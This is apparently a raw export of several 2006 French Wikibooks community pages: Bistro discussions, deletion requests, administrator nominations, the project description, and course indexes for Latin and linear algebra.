possible de les expédier à un administrateur de Commons qui se chargera grâce à un robot approprié de les traiter en bloc. En fouillant un peu sur Commons tu trouveras d'ailleurs d'autres dessins pour enrichir le futur wikilivre. : Les formules sont également transformées en images par enregistrement du fichier en html et on peut alors les utiliser comme précédemment mais il vaut mieux pour des raisons de place en mémoire et de présentation les reprendre en utilisant le code Latex. : J'ai moi-même entrepris de transformer mes polycops en wikilivres (voir par exemple [[Tribologie]] ou [[Photographie]]) et d'ores et déjà un bon millier de pages a été transféré. C'est évidemment un travail important mais les services que ces documents ont déjà pu rendre à des étudiants en technologie ou à leurs professeurs justifient qu'on y consacre un peu de son temps de vie. : En allant voir sur les sites anglais, allemand, espagnol, etc, tu trouveras peut-être aussi des éléments intéressants pour ton travail. : Les administrateurs de WL, dont je suis, n'hésiteront pas à te donner un coup de main si c'est nécessaire. : Amitiés. [[Utilisateur:Jean-Jacques MILAN|Jean-Jacques MILAN]] 31 mai 2006 à 14:11 (CEST) == Dictionair Francais en Wiki == Hallo tout le monde, exuse mois, que mon francais n'est pas si bon. C'est pourqoui je cherche un dictionaire seul francais et un dictionaire allemand-francais-allemand pour le open source programm bedic. Je ne peut trouver quelquechose comme ça -peutêtre je utilise le faut mot? Qu'il ya quelqun a m'aide? :http://fr.wiktionary.org mais c'est plutôt ''corporate'' comme suggestion de lien :-) [[Utilisateur:Greudin|Greudin]] 31 mai 2006 à 23:23 (CEST) :: [[:de:wikt:Wiktionary:Hauptseite|wikt:Wiktionary:Hauptseite]] für Deutsh-Französich... [[Utilisateur:Jrcourtois|'''JR''']] <small>[[Discussion_Utilisateur:Jrcourtois|disc]]</small> 1 juin 2006 à 10:27 (CEST) == Wikibook sur blender == Des volontaires pour traduire ce wiki book en anglais ? http://en.wikibooks.org/wiki/Blender_3D:_Noob_to_Pro g.ardaud == pour un appel aux enseignants... == il serait peut-être intéresssant d'écrire un appel aux enseignants et de le diffuser le plus largement possible via internet mais également en sollicitant les syndicats d'enseignants et leurs publications papiers (obtenir de ces publications des unes, interviews, collaborer aux articles qu'elles pourraient publier...) == Volontaires pour la Fête de l'Humanité == Salut à tous. Nous sommes en juin, je lance l'appel à volontaires pour que nous participions à la Fête de l'Humanité 2006, qui se déroulera du vendredi 15 au dimanche 17 septembre 2006 au Parc de la Courneuve. Les volontaires seront chargés de tenir le stand, c'est à dire d'expliquer aux personnes intéréssées le fonctionnement, les principes et le but de Wikipedia (et des autres projets) et répondre aux questions. Je ne connais pas encore les modalités pratiques, mais en attendant, les personnes intéréssées sont vivement encouragées à s'inscrire dès maintenant [http://membres.wikimedia.fr/index.php/F%C3%AAte_de_l%27Humanit%C3%A9_2006 ici]. Je vous tiendrais au courant dès que j'aurais plus d'infos. Je précise que l'organisateur du stand est Wikimedia France, et non l'un des projets, et que nous sommes près à faire de même pour tout autre parti politique. [[Utilisateur:Traroth|Traroth]] 6 juin 2006 à 22:05 (CEST) Mon oreillette me dit que le site des membres de l'association n'est accessible qu'à ceux qui ont créé un compte. Je déplace donc la page [http://meta.wikimedia.org/wiki/User:Traroth/F%C3%AAte_de_l%27Humanit%C3%A9_2006 ici]. [[Utilisateur:Traroth|Traroth]] 6 juin 2006 à 23:25 (CEST) :Rien à faire içi, non ! "Mais où sont les modérateurs" ? ? ? ::Plait-il ? [[Utilisateur:Stanlekub|Stanlekub]] 7 juin 2006 à 20:13 (CEST) ::Si, ça a tout à fait sa place ici. Le but est de demander aux contributeurs des différents projets de participer. [[Utilisateur:Traroth|Traroth]] 10 juin 2006 à 20:59 (CEST) == Accès au cours == Bonjour, je suis un passioné d'informatique et je viens de m'inscrire à la Wikiversité, département informatique pour la wikilicence d'informatique. Seulement, je ne sais pas comment se déroule les cours car, pour le premier intitulé "Algorithmique et structure de données : niveau 1", il n'y pas de lien donc inaccessible. Dans un souci de suivre textuellement les modules comme l'indique les wikimodules, j'aimerai commencer par cela et souhaite recevoir de votre part de l'aide, appui, indications pour pouvoir suivre les cours. En vous remerciant de cette brillante initiative et souhaitant être parmi les premiers à PROUVER que "c'est bien possible", je reste à votre entière disposition pour toute indication supplémentaire. ADNIANG == Discussion par anglais: nouveau logotype == (Pardonne, Je ne parle francais) For those who understand English, I proposed [[m:Wikibooks/logo|a redesign of the logo]] for Wikibooks. We need discussion, suggestions and help with drawing. [[Utilisateur:Ramir|Ramir]] 14 juin 2006 à 11:19 (CEST) == Demande d'avis == Bonjour, j'aimerais bien avoir des avis extérieurs sur [[Utilisateur:Rortalo/Sécurité informatique]], à la fois sur le fond et sur la forme. C'est possible? [[Utilisateur:Rortalo|Rodolphe Ortalo]] 19 juin 2006 à 12:34 (CEST) :Difficile de juger du fond pour un profane, j'ai survolé rapidement mais peut-être faut-il rajouter une phrase du type "Ce wikilivre a pour but de sensibiliser à la sécurité informatique..." dans l'intro mais la forme est parfaite àmha. A déplacer dans l'espace de nom des livres. [[Utilisateur:Greudin|Greudin]] 20 juin 2006 à 08:56 (CEST) Sur le fond, il faut sans doute noter que c'est quand même pour l'instant un travail individuel - il doit y avoir quelques opinions qui me sont assez personnelles - rien de choquant j'espère. Par contre, je prévois de l'étendre encore assez notablement. Le cours originel est passé de 6h à 20h cette année (le support n'a pas encore suivi l'évolution du cours oral). Sur la forme, je ne sais pas trop comment le "déplacer"? Par ailleurs, j'ai encore quelques doutes sur des sections déjà écrites mais qui font appel à des copies d'écrans de logiciels propriétaires (par exemple: [[Utilisateur:Rortalo/Sécurité informatique/Protection réseau et firewall/Exemples|Exemples]] ou [[Utilisateur:Rortalo/Sécurité informatique/Outils de recherche de vulnérabilité#Nessus|Description de Nessus]] et la page http://www.nessus.org/demo/index.php?step=2) ). Y a t'il des recommandations sur ce point (au niveau de la publication)? [[Utilisateur:Rortalo|Rodolphe Ortalo]] 20 juin 2006 à 19:15 (CEST) :Je me suis permis de déplacer (onglet ''renommer'') vers ''[[Sécurité des systèmes informatiques]]''. Pour les captures d'écran de logiciels proprio, "uploadez" les sur fr.wikibooks ([[special:upload]]), mais pour les captures d'écran de LL c'est sur le serveur commun à tous les wikis ([[Commons:special:upload]]). [[Utilisateur:Greudin|Greudin]] Merci pour la démonstration! Dois-je répéter la procédure pour les autres pages (qui semblent toujours pointer vers mes pages utilisateur)? [[Utilisateur:Rortalo|Rodolphe Ortalo]] 22 juin 2006 à 14:06 (CEST) ::Oui, c'est un oubli ;) [[Utilisateur:Greudin|Greudin]] 22 juin 2006 à 14:58 (CEST) == Research related to Wikibooks == Hello, My name is Suthiporn Sajjapanroj. I am a second-year doctoral student at the Department of Education in Indiana University, Bloomington. My professor, Dr. Curtis J. Bonk, and I are conducting a research related to a Wikibook. The purpose of this study is to find the potential of an instructional strategy, the creation of a Wikibook, to support learning collaboration and social interactions across classrooms in different educational institutions. You are invited to participate in this research study. Your responses will help us understand online collaboration in the creation of a Wikibook. This survey consists of 35 questions and will take you about 15 minutes to complete. Please answer these questions to the best of your knowledge. Thank you very much. Your participation is greatly appreciated. The survey can be found at: http://www.surveyshare.com/survey/take/?sid=36753 (If you are unable to click on the link, copy and paste it into your Web browser.) This survey will be collected anonymously on a secure server provided by SurveyShare. Your survey responses will be kept confidential. Any questions or problems can be sent to ssajjapa@indiana.edu. Suthiporn Sajjapanroj Ph.D. Student in Curriculum and Instruction Indiana University 800 N.Union Street, Bloomington, Indiana 47408 812-857-0009 Curtis J. Bonk, Professor Indiana University Instructional Systems Technology Department School of Education: Room 2220 Bloomington, IN 47405-1006 (812) 856-8353 (work); 322-curt (cell) E-mail: CJBonk@indiana.edu 812-856-8353 http://mypage.iu.edu/~cjbonk/ :Done. [[Utilisateur:Greudin|Greudin]] ::Je l'ai faite aussi, et c'est moi qui ai proposé à Suthiporn Sajjapanroj d'en faire la publicité ici. Je pense que ce genre d'étude est toujours positif! Je lui ai dis par email que nous traduirions son intervention sur le bistro s'il en faisait la pub. J'entâme ainsi la traduction, mais si d'autres veulent l'améliorer c'est pas de refus :o) J'ajoute que le niveau d'anglais requis pour répondre à l'enquête n'a pas forcément besoin d'être très élevé, je veux dire que c'est un anglais simplifié. Je pense qu'il sera possible de traduire certaines questions si besoin est... --[[Utilisateur:Boly38|Boly]] [[Discussion_Utilisateur:Boly38|♪]] 24 juin 2006 à 14:30 (CEST) ===Traduction fr=== Bonjour, Mon nom est Suthiporn Sajjapanroj. Je suis en deuxième année de doctorat, étudiant au sein du Département Education de l'Université Indiana de Bloogmington. Mon professeur, Docteur Curtis J. Bonk, et moi réalisons des travaux de recherche concernant Wikilivres. L'objectif de cette étude est de déterminer quels peuvent être les moyens d'éducation, à travers la création d'un wikilivre, d'apporter un soutien à l'apprentissage collaboratif et aux interactions sociales au sein de salles de classe dans différents instituts d'éducation. Vous êtes invités à participer à cette étude. Vos réponses nous aideront à comprendre la collaboration en ligne pour la création d'un wikilivre. Cette étude consiste en 35 questions et vous prendra enrion 15 minutes. S'il vous plait répondez à ces questions au mieux de votre connaissance / expérience. Merci beaucoup. Votre participation sera très appréciée. L'étude se trouve à cette endroit : {{en}} http://www.surveyshare.com/survey/take/?sid=36753 (Si vous ne pouvez pas cliquer sur le lien, copiez-collez le dans un navigateur Web.) Cette étude sera traitée anonymement, sur un serveur protégé au niveau sécurité, fournit par SurveyShare. Vos réponses à cette étude seront conservées confidentielles. Pour toutes questions ou problèmes, contactez ssajjapa@indiana.edu. :<small>Traduction faite par [[Utilisateur:Boly38|Boly]] [[Discussion_Utilisateur:Boly38|♪]], merci de l'améliorer si elle comporte des erreurs</small> Wikilivres:Wikilivres 28 44098 2006-06-07T17:06:21Z 82.225.81.231 [[Image:Wikilivres logoA.png|right|300px|Wikilivres]] '''Wikilivres''' est une collection de textes pédagogiques [[w:Contenu_libre|libres]] en livres, ceux-ci sont écrits en collaboration sur ce site web. Ce site est un [[w:fr:wiki|wiki]], ce qui signifie que tout le monde, y compris vous, peut facilement éditer une page de livre en cliquant sur le lien ''Modifier''. Le projet a été lancé le 10 Juillet 2003 et y a {{NUMBEROFARTICLES}} pages en travaux toute langues confondues. Tout le contenu de ce site est couvert par la [[w:licence (juridique)|licence juridique]] de [[w:GNU Free Documentation License|documentation libre GNU]]. Les contributions demeurent la propriété de leurs créateurs, alors que le ''[[w:copyleft|copyleft]]'' s'assure que le contenu demeurera toujours librement distribuable et reproductible. Voyez les [[Wikilivres:Copyright|copyrights]] pour plus d'information. Note: Afin d'instruire correctement des étudiants dans diverses disciplines (particulièrement les sciences médicales), le contenu de certains Wikilivres peut être considéré comme choquant, vulgaire ou profane par quelques lecteurs. Voyez l'[[Wikilivres:avertissement sur le contenu|avertissement sur le contenu]] (en anglais) pour plus d'information. == En savoir plus sur Wikilivres == * [[w:Wikilivres|Wikilivres]], un [[w:Wikipedia|article Wikipédia]] sur Wikilivres et son histoire. * [[w:Wikimedia|Wikimedia Foundation]], un article Wikipedia à propos de l'organisation à but non-lucratif de Wikilivres. * [[Wikilivres:FAQ|Foire Aux Questions]] (voir aussi [[w:fr:Wikipédia:FAQ|Wikipédia:FAQ]]) * [[Wikilivres:Le Bistro|Le Bistro]] == Explorer Wikilivres == *[[Special:Recentchanges|Changements récents]], pour voir les dernières modifications *[[Special:Randompage|Une page au hasard]] *[[Special:Newpages|Nouveaux modules]] *[[Wikilivres:le Bistro|Poser une question]], pour obtenir de l'information <!--*[[Wikilivres:Brilliant prose|Proses brillantes]], lisez le meilleur de Wikilivres.--> == Contribuer à Wikilivres == *[[Wikilivres:Bienvenue|Bienvenue]] !, un point de départ pour les nouveaux contributeurs. *[[Wikilivres:policies and guidelines|Règlement et guide du contributeur]] *[[Why contribute to the open textbook project|Pourquoi contribuer au projet libre Wikilivres]] Les motivations et les bonnes raisons pour contribuer (en anglais). *[[Wikilivres:Help|Pages d'aide]], aide pour éditer les modules et plus. == Rester en contact == * [[Wikilivres:Le Bistro|Nous Contacter]] * [[Wikilivres:Le Bistro|Le Bistro]], un forum pour poser les questions qui n'ont pas reçu de réponses dans la [[Wikilivres:FAQ|FAQs]] ou dans la [[Wikilivres:Help|page d'aide]]. * [[Wikilivres:mailing lists|Mailing lists Wikilivres]] * [[Wikilivres:Instant Messaging Wikibookians|Instant messaging Wikibookians]] * [[Wikilivres:Wikibookians|Wikibookians]], liste des contribuables à Wikilivres. * [http://meta.wikipedia.com/ MetaWiki], un site qui travaille à coté du projet Wikilivres. Vous pouvez y envoyer vos essais et y discuter du Wikilivres. == Versions en d'autres langues == {{langues}} == Autres projets Wikimedia == *[http://meta.wikipedia.org Meta Wikimedia], un wiki consacré à la planification de divers projets Wikimedia. *[http://www.wikipedia.org Wikipedia], une encyclopédie multilingue (Voir [[fr:Wikipedia|Wikipedia]]) *[http://wiktionary.org Wiktionary], un wiki-dictionnaire multilingue (Voir [[fr:Wiktionary|Wiktionary]]) *[http://quote.wikipedia.org Wikiquote] un recueil de citations. *[http://www.nupedia.com Nupedia], un projet plus scolaire d'encyclopédie libre avec un système de contrôle des modifications avant l'acceptation d'articles (Voir [[fr:Nupedia|Nupedia]]) == Opinions et objections == *[[Wikilivres:Replies to common objections|Réponses aux objections communes]], une collection d'arguments face aux objections les plus communes à propos de Wikilivres et du concept wiki. *[[Wikilivres:Power structure|La structure de fonctionnement de Wikilivres]] == Autres liens == * [[Wikilivres:Amis de Wikilivres]], une liste de sites web ayant un lien vers nous. * [[Wikilivres:Revue de presse]] [[de:Wikibooks:Über Wikibooks]] [[en:Wikibooks:About]] [[ja:Wikibooks:ウィキブックスについて]] [[nl:Wikibooks:Info]] [[pl:Wikibooks:O Wikibooks]] [[su:Buku Wiki:Ngeunaan]] Méthode latine 33 38536 2006-03-22T01:14:46Z 68.87.72.164 +eo,es [[Image:Lightmatter colosseum.jpg|thumb|right|200px|Amphitheatrum Flavium (Colosseum) superum monumentum Romae est.]] ==Cours== *[[Notions préliminaires sur la langue latine]] *[[Latin : leçon 1| leçon 1]] *[[Latin : leçon 2| leçon 2]] *[[Latin : leçon 3| leçon 3]] *[[Latin : leçon 4| leçon 4]] *[[Latin : leçon 5| leçon 5]] *[[Latin : leçon 6| leçon 6]] *[[Latin : leçon 7| leçon 7]] *[[Latin : leçon 8| leçon 8]] ==Versions== *[[Versions latines, niveau débutant]] *[[Versions latines, niveau moyen]] ==Grammaire== ===morphologie=== *[[Latin:Déclinaisons|Déclinaisons du latin (noms et adjectifs)]] *[[Les degrés de l'adjectif qualificatif (latin)]] *[[Les pronoms et les adjectifs pronoms (latin)]] *[[Les mots invariables (latin)]] *[[Conjugaisons du latin]] *[[Adverbes (latin)]] *[[Prépositions (latin)]] *[[Conjonctions (latin)]] ===syntaxe=== *[[Le rôle des cas en latin]] *[[Le verbe latin dans la proposition principale]] *[[Les formes impersonnelles en latin]] *[[Les subordonnées en latin]] *[[Tableau des emplois de ut]] *[[Petite syntaxe latine à l'usage de la version]] ==Vocabulaire== *[[Les 400 mots latins les plus fréquents]] *[[Les adjectifs numéraux les plus fréquents]] *[[Les pronoms et déterminants les plus fréquents]] *[[Les prépositions les plus fréquentes]] *[[Les conjonctions les plus fréquentes]] *[[Les adverbes les plus fréquents]] *[[Les verbes irréguliers et défectifs]] *[http://la.wiktionary.org/wiki/Pagina_prima Wiktionary] ==La civilisation romaine== *[[Histoire de Rome]] ==Liens externes== *[http://www.weblettres.net/sommaire.php?entree=16&rubrique=50&sousrub=79 Weblettres] *[http://www.grexlat.com/nexus/cone.html Grexlat] *[http://perso.wanadoo.fr/prima.elementa/Latin-01.html Premier pas en latin] *[http://www.thelatinlibrary.com/ The Latin Library] *[http://www.perseus.tufts.edu/cache/perscoll_Greco-Roman.html Perseus Greek and Roman Materials] *[http://www.forumromanum.org/literature/index.html Corpus Scriptorum Latinorum] *[http://www.fh-augsburg.de/~harsch/augustana.html Bibliotheca Augustana Litteraturae et artis collectio] *[http://www.grexlat.com/biblio/index.asp Bibliotheca Latina Grex Latine Loquentium: Bibliotheca Latina] *[http://www.intratext.com/LAT/ IntraText Digital Library] *[http://www.fordham.edu/halsall/sbook.html Internet Medieval Sourcebook] *[http://www.ukans.edu/history/index/europe/ancient_rome/E/Roman/Texts/home.html Latin texts on ''Lacus Curtius''] *[[w:la:Pagina_prima|Encyclopédie en latin]] [[Catégorie:Langue|Latin]] [[de:Latein]] [[en:Latin]] [[eo:Klasika Latina]] [[es:Latín]] [[it:Corso di latino]] [[ja:ラテン語]] [[nl:Latijn]] [[pl:Łacina]] [[fi:Latinan kieli]] [[sv:Lär dig latin]] Algèbre linéaire 34 26012 2005-11-24T17:46:32Z Marc 66 = Algèbre Linéaire = [[Catégorie:Mathématiques]] [[Algèbre linéaire:Matrices|Matrices]] [[Algèbre linéaire:Systèmes d'équations linéaires|Systèmes d'équations linéaires]] [[Algèbre linéaire:Déterminant et méthode de Cramer|Déterminant et méthode de Cramer]] [[Algèbre linéaire:Matrice inverse|Matrice inverse]] == [[Algèbre Linéaire Niveau DEUG]] == Wikilivres:Pages à supprimer 36 move=:edit= 43617 2006-05-31T12:56:53Z Sloonz 1589 [[de:Wikibooks:Löschkandidaten]] [[en:Wikibooks:Votes for deletion]] [[es:Wikibooks:Páginas para borrar]] [[nl:Wikibooks:Te verwijderen pagina's]] [[pl:Wikibooks:Strony do usunięcia]] Listez ici les demandes de '''pages à supprimer''' pour que chacun puisse donner son opinion. Ajouter le bandeau <nowiki>{{suppression}}</nowiki> aux pages que vous mentionnez ici. Consultez l'article de [[w:Wikipédia:Pages à supprimer|Wikipédia:Pages à supprimer]] pour de plus amples informations. ---- *[[Wikilivres:Pages à supprimer/Archives]] =Débats non cloturés = == Toute la catégorie [[:Catégorie:Jeu vidéo|jeu vidéo]] (suppr.: 3 /conserv.: 10/ neutre : 2)== Long débat déplacé vers [[/jeu vidéo]]. =En cours= == [[Traditions populaires]] == Pas un document pédagogique, tout au moins sous cette forme. En plus, c'est signé et pas neutre. [[Utilisateur:Yann|Yann]] 18 jul 2005 à 13:31 (UTC) :Sous cette forme : à fusionner dans l'encyclo puis supprimer [[Utilisateur:Greudin|Greudin]] : En plus ce livre est signé. Supprimer. [[Utilisateur:Pfv2|Pfv2]] 21 sep 2005 à 19:54 (UTC) ::Les infos avec phrases ont été ajoutées dans l'encyclo, colombe, mariage par contre les titres non car il manquait la tradition associée. [[Utilisateur:Greudin|Greudin]] 20 mai 2006 à 18:59 (CEST) ==Espace de nom Wikilivres:== Certaines pages d'aides font doublon avec celles de wikipédia, la communauté wikilivres est petite comparée à l'encyclopédie, je vous propose d'utiliser les pages d'aides wikipédia sauf en cas de grandes différences. [[Utilisateur:Greudin|Greudin]] *[http://fr.wikibooks.org/w/index.php?title=Special%3AAllpages&from=&namespace=4 Pages concernées] ==[[Cuisine:Recettes de cuisine réunionaise]]== L'auteur (une adresse ip) semble avoir copié du texte depuis un autre site, comme : *http://perso.wanadoo.fr/christophe.belluteau/Recettes/Entrees.htm [[Utilisateur:Greudin|Greudin]] 16 janvier 2006 à 22:26 (UTC) * '''Supprimer''' la partie copyrightée [[Utilisateur:Guillaumito|Guillaumito]] 16 janvier 2006 à 22:56 (UTC) * idem [[Utilisateur:Pfv2|Pfv2]] 17 janvier 2006 à 21:21 (UTC) ==[[Programmation Javascript Introduction]]== *'''Fusion d'historique''' à faire avec [[Programmation JavaScript/Introduction]] (à part 1 petite reformulation + 1mise en gras, le texte est identique) *Mettre un redirect (j'ai pas trouvé ''pages à fusionner'' ? ;) --[[Utilisateur:Boly38|Boly]] [[Discussion_Utilisateur:Boly38|♪]] 20 janvier 2006 à 14:36 (UTC) Bon... j'ai tenté une fusion d'historiques et ca a lamentablement échoué... si quelqu'un pouvait vérifier que j'ai au moins restauré la version correcte... encore désolé :/ [[Utilisateur:Guillaumito|Guillaumito]] 21 janvier 2006 à 00:17 (UTC) ==[[Ampélographie]]== Créé par une IP qui semble s'en être désinteressé rapidement, l'article Wikipédia est plus complet. Laisser en sursis jusqu'au 01/04/2006, on ne sait jamais... Mais il semble que ce soit mal parti. [[Utilisateur:F5ZV|F5ZV]] 1 mars 2006 à 22:14 (UTC) :Traité. [[Utilisateur:Greudin|Greudin]] 20 mai 2006 à 18:43 (CEST) ==[[/Images sans licences]]== Voici une liste d'images sans licences à déplacer sur Commons ou garder ou effacer : [[/Images sans licences]] grace à l'outil [http://tools.wikimedia.de/~daniel/WikiSense/UntaggedImages.php?wikifam=.wikibooks.org&wikilang=fr&order=img_timestamp&ofs=0&max=1000] [[Utilisateur:Greudin|Greudin]] ==[[Psychologie de l'enfant et de l'adolescent]] et toutes les pages liées== Issu très probablement d'un bouquin sous copyright. Quand on cherche la source on nous renvoie vers une image sur EN. Image qui contient le texte d'un livre dans le commerce... Donc à supprimer d'urgence ! --[[Utilisateur:Pseudomoi|Pseudomoi]] 29 avril 2006 à 17:41 (UTC) :Il y a de forts soupçons, quel est le titre de l'oeuvre du commerce ? [[Utilisateur:Greudin|Greudin]] 30 avril 2006 à 11:06 (UTC) Après une recherche minutieuse, je pense qu'il s'agit de note de cours de DESS prisent par une éléve qui par la suite à réalisé un bouquin sur la psychologie des adultes. *Liens : [http://www.amazon.fr/exec/obidos/ASIN/2711792056/qid=1146646970/sr=1-1/ref=sr_1_0_1/402-2012172-9728148 livre sur la psycologie des adultes dans le commerce] [http://216.109.124.98/search/cache?ei=UTF-8&p=la+psychologie+de+l%27enfant+et+de+l%27adolescent&ie=UTF-8&rls=org.mozilla%3Afr%3Aofficial&fr=moz2&u=www.univ-savoie.fr/Portail/Groupes/FORMATIONS/Livret_des_etudes/dess/sociale/adoscen.pdf&w=la+psychologie+l%27enfant+et+l%27adolescent&d=KtAZj0aqMpUC&icp=1&.intl=fr programme de DESS qui ressemble étrangement au contenu du Wikilivre]. --[[Utilisateur:Pseudomoi|Pseudomoi]] 3 mai 2006 à 09:17 (UTC) ==[[Thermodynamique_Premier_principe]]== Redondant avec [[Thermodynamique_Premier_et_second_principes]] Wikilivres:Pages meta 37 11843 2004-11-28T09:15:19Z Esope 99 rajout de Wikilivres:Actualités Listes des pages de l'espace '''meta''' : * [[Wikilivres:Actualités]] * [[Wikilivres:Administrateur]] * [[Wikilivres:Aide]] * [[Wikilivres:À propos de Wikibooks]] * [[Wikilivres:Bac à sable]] * [[Wikilivres:Bienvenue]] * [[Wikilivres:Calendrier]] * [[Wikilivres:Comment modifier une page]] * [[Wikilivres:Conventions de dénomination]] * [[Wikilivres:Copyrights]] * [[Wikilivres:Le Bistro]] * [[Wikilivres:Listes de diffusion]] * [[Wikilivres:Log d'upload]] * [[Wikilivres:Modèles]] * [[Wikilivres:Pages à supprimer]] Wikilivres:Bac à sable 38 45261 2006-06-20T11:48:54Z 138.102.70.7 '''Bonjour. Ceci est le Bac à sable. Il est destiné à vous aider à vous familiariser avec le système de création et modification d'articles de Wikipédia. Vous pouvez y faire tous les tests que vous voulez. Il suffit de cliquer sur le lien « modifier cette page » qui se trouve en haut, de tapez vos modifications et de cliquer sur « sauvegarder »''' == Écrire un titre == Une boîte : {| style="border:1px solid #996600;" cellspacing="0" cellpadding="5" width="150" align="left" | style="font: 100% Verdana; color:black" align="left" bgcolor="#ECE5CA" | '''[[S'initier au boulier en 10 leçons]]''' |- | style="font: 100% Verdana; color:black" align="right" | *Introduction *Chapitre 1 *Chapitre 3 |} <br clear="all"> Une ligne horizontale : ---- == Exemples (ici, un titre) == * Une liste, t'es sûr ? * Un lien: [[Paris]] * Un lien en gras ? '''[[Paris]]''' * ''italiques'' * '''gras''' === sous-titre === #on numérote ? #quand tu veux #avec des numéros ? === Et les sub alors ??=== O<sub>O</sub>O ==N'oublions pas LaTeX== Pour d'autres exemples: [[Wikilivres:Comment modifier une page]] ça fonctionne avec le "translator" Tex--plainTex de mathtype avec Word. Mais quel bazard et surtout que de temps à consacrer à la traduction d'un polycopié. C'est carrément rédhibitoire... <math>\oint {\overrightarrow H \cdot \overrightarrow {dl} = ni}</math> <math>\sqrt{2}</math> Wikilivres:Copyright 40 11845 2005-02-06T18:36:04Z DomQ 189 lien vers Wikipédia:Copyright Le projet [[Accueil|Wikilivres]], à l'instar de tous les autres projets [[w:fr:Wikimedia|Wikimedia]], est basé sur un [[w:fr:Wikipédia:Copyright|pacte de libertés protégé par le mécanisme juridique des droits d'auteur]] et dont le respect par tous est une condition vitale de réussite du projet. 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Vous pouvez également placer le titre de la partie mise en cause dans [[Wikilivres:Pages à supprimer]]. Nous aurons, naturellement, besoin d'une preuve, pour soutenir votre réclamation de propriété. Si vous suspectez qu'une partie d'un ouvrage présente une infraction à la règle de copyright, alors vous pouvez remplacer le texte par la notification d'infraction de copyright dans la zone [[Wikibooks:Boilerplate_text#Copyright_infringement_notice|Wikibooks:Boilerplate text]]. Wikilivres:Administrateur 42 39447 2006-04-02T07:19:30Z Guillaumito 46 /* [[Utilisateur:merrheim]] */ =Administrateurs actuels= *[http://fr.wikibooks.org/w/index.php?title=Special%3AListusers&group=sysop&username= Liste exhaustive] ==Concierges actifs par ordre alphabétique== * [[Utilisateur:Marc|Marc]] (ancien [[Utilisateur:Caton|Caton]]) * [[Utilisateur:Greudin|Greudin]] * [[Utilisateur:Guillaumito|Guillaumito]] * [[Utilisateur:Jean-Jacques MILAN|Jean-Jacques MILAN]] * [[Utilisateur:Traroth|Traroth]] * [[Utilisateur:Yann|Yann]] =Candidatures= Greudin et Yann ont été fait admin sur demande de leur part, sans vote (procédure habituelle pour un projet démarrant). Il serait souhaitable qu'un vote prenne part concernant leur statut d'admin dès que le projet sera plus gros. En cas de problème avec leur statut, demander à un [[m:steward]] le desysopage. [[Utilisateur:Anthere|Anthere]] 25 jul 2004 à 18:21 (UTC) (non, mais ca arrivera pas hein ?) Caton et Traroth sont maintenant sysop. -- [[Utilisateur:Looxix|Looxix]] 21 nov 2004 à 16:11 (UTC) === [[Utilisateur:Caton]] === Je suggère [[Utilisateur:Caton]] pour être admin sur wikilivres. La communauté locale est encore faible, qu'elle s'exprime néanmoins. En l'absence d'opposition, je ferais Caton sysop après mon déménagement (me le rappeler si j oublie à [[m:user:Anthere]] :-)). [[Utilisateur:Anthere|Anthere]] 8 nov 2004 à 12:41 (UTC) :Je n'ai pas d'objection. :) [[Utilisateur:Guillaumito|Guillaumito]] 8 nov 2004 à 13:57 (UTC) === [[Utilisateur:Traroth]] === Bonjour, Comme je souhaite reprendre l'activité sur Wikilivre, en particulier celui sur la programmation, j'aimerais obtenir les droits adminnistrateur. Je les ai deja sur Wikibooks (où ils ne me servent plus à grand chose...), et cela me permettrait de faire le menage après avoir copié tout ce qui doit l'etre depuis en: (il n'est plus utile de perfixer les noms des pages avec ''Fr'', en particluier, et je vais m'atteller à un travail de renommage, après quoi les pages initiales devront etre effacées). [[Utilisateur:Traroth|Traroth]] 8 nov 2004 à 16:43 (UTC) :Je n'ai pas plus d'objection. [[Utilisateur:Guillaumito|Guillaumito]] 8 nov 2004 à 22:00 (UTC) === [[Utilisateur:Jean-Jacques MILAN]] === L'utilisateur Jean-Jacques MILAN est indéniablement un pilier de wikilivres, présent et actif, cela permettra une certaine continuité. [[Utilisateur:Greudin|Greudin]] 11 sep 2005 à 21:00 (UTC) ::Merci pour cette confiance ! [[Utilisateur:Jean-Jacques MILAN|Jean-Jacques MILAN]] 11 sep 2005 à 22:11 (UTC) Pas de problème pour moi. [[Utilisateur:Caton|Caton]] 14 sep 2005 à 08:50 (UTC) Je suis d'accord avec [[Utilisateur:Greudin|Greudin]], le nombre de contributions de [[Utilisateur:Jean-Jacques MILAN|Jean-Jacques MILAN]] et leur qualité justifient totalement ce poste de sysop. [[Utilisateur:Guillaumito|Guillaumito]] 15 sep 2005 à 17:08 (UTC) :Voila, je viens de donner les droits administrateur avec mes tout nouveaux pouvoirs de bureaucrate :) [[Utilisateur:Guillaumito|Guillaumito]] 19 novembre 2005 à 20:04 (UTC) :: Merci les amis, cette promotion m'honore et je vais faire en sorte d'en être digne ! Pour l'instant diverses obligations, entre autres familiales, ont beaucoup restreint mes participations mais je vais reprendre dès que possible les travaux en cours. [[Utilisateur:Jean-Jacques MILAN|Jean-Jacques MILAN]] 20 novembre 2005 à 00:48 (UTC) === [[Utilisateur:merrheim]] === L'utilisateur et Wikiprof merrheim est présent et actif sur Wikilivres et surtout la Wikiversité qui connaît un succès relatif et la suite semble présager un afflux de contributeurs sur ce projet. [[Utilisateur:Greudin|Greudin]] 18 mars 2006 à 15:28 (UTC) :''Dont acte'' Merrheim est le 10e concierge mais le 4e actif. [[Utilisateur:Greudin|Greudin]] 1 avril 2006 à 19:23 (UTC) :: merci pour votre confiance à toutes et à tous. J'essayerais de me montrer digne en étant un concierge qui conciergera bien dans la rigueur et le respect. Respectueusement vôtre dévoué [[Utilisateur:Merrheim|Merrheim]] 1 avril 2006 à 19:33 (UTC) ====Votes==== #Pour [[Utilisateur:Greudin|Greudin]] 18 mars 2006 à 15:28 (UTC) #Pour merci Greudin [[Utilisateur:Merrheim|Merrheim]] 18 mars 2006 à 15:29 (UTC) #Pour C'est un vote a posteriori, je suis désolé mais je n'avais pas remarqué la proposition ^^; [[Utilisateur:Guillaumito|Guillaumito]] 2 avril 2006 à 07:19 (UTC) [[da:Wikibooks:Administratorer]] [[de:Wikibooks:Administratoren]] [[en:Wikibooks:Administrators]] [[es:Wikibooks:Administradores]] [[it:Wikibooks:Amministratori]] [[pl:Wikibooks:Administratorzy]] [[vi:Wikibooks:Người quản lý]] Latin/Notions préliminaires 44 45908 2006-06-26T19:43:34Z Guillaumito 46 [[Notions préliminaires sur la langue latine]] déplacé vers [[Latin/Notions préliminaires]]: Application de la politique de nommage ==Origine et histoire du latin== ==Alphabet du latin== ==Prononciation== En latin, '''toutes les lettres se prononcent''' (sauf le "h"). Mais il existe deux manières de prononcer le latin : *une prononciation dite "française", qui est inexacte ; *'''une prononciation restituée''' : **e se prononce é 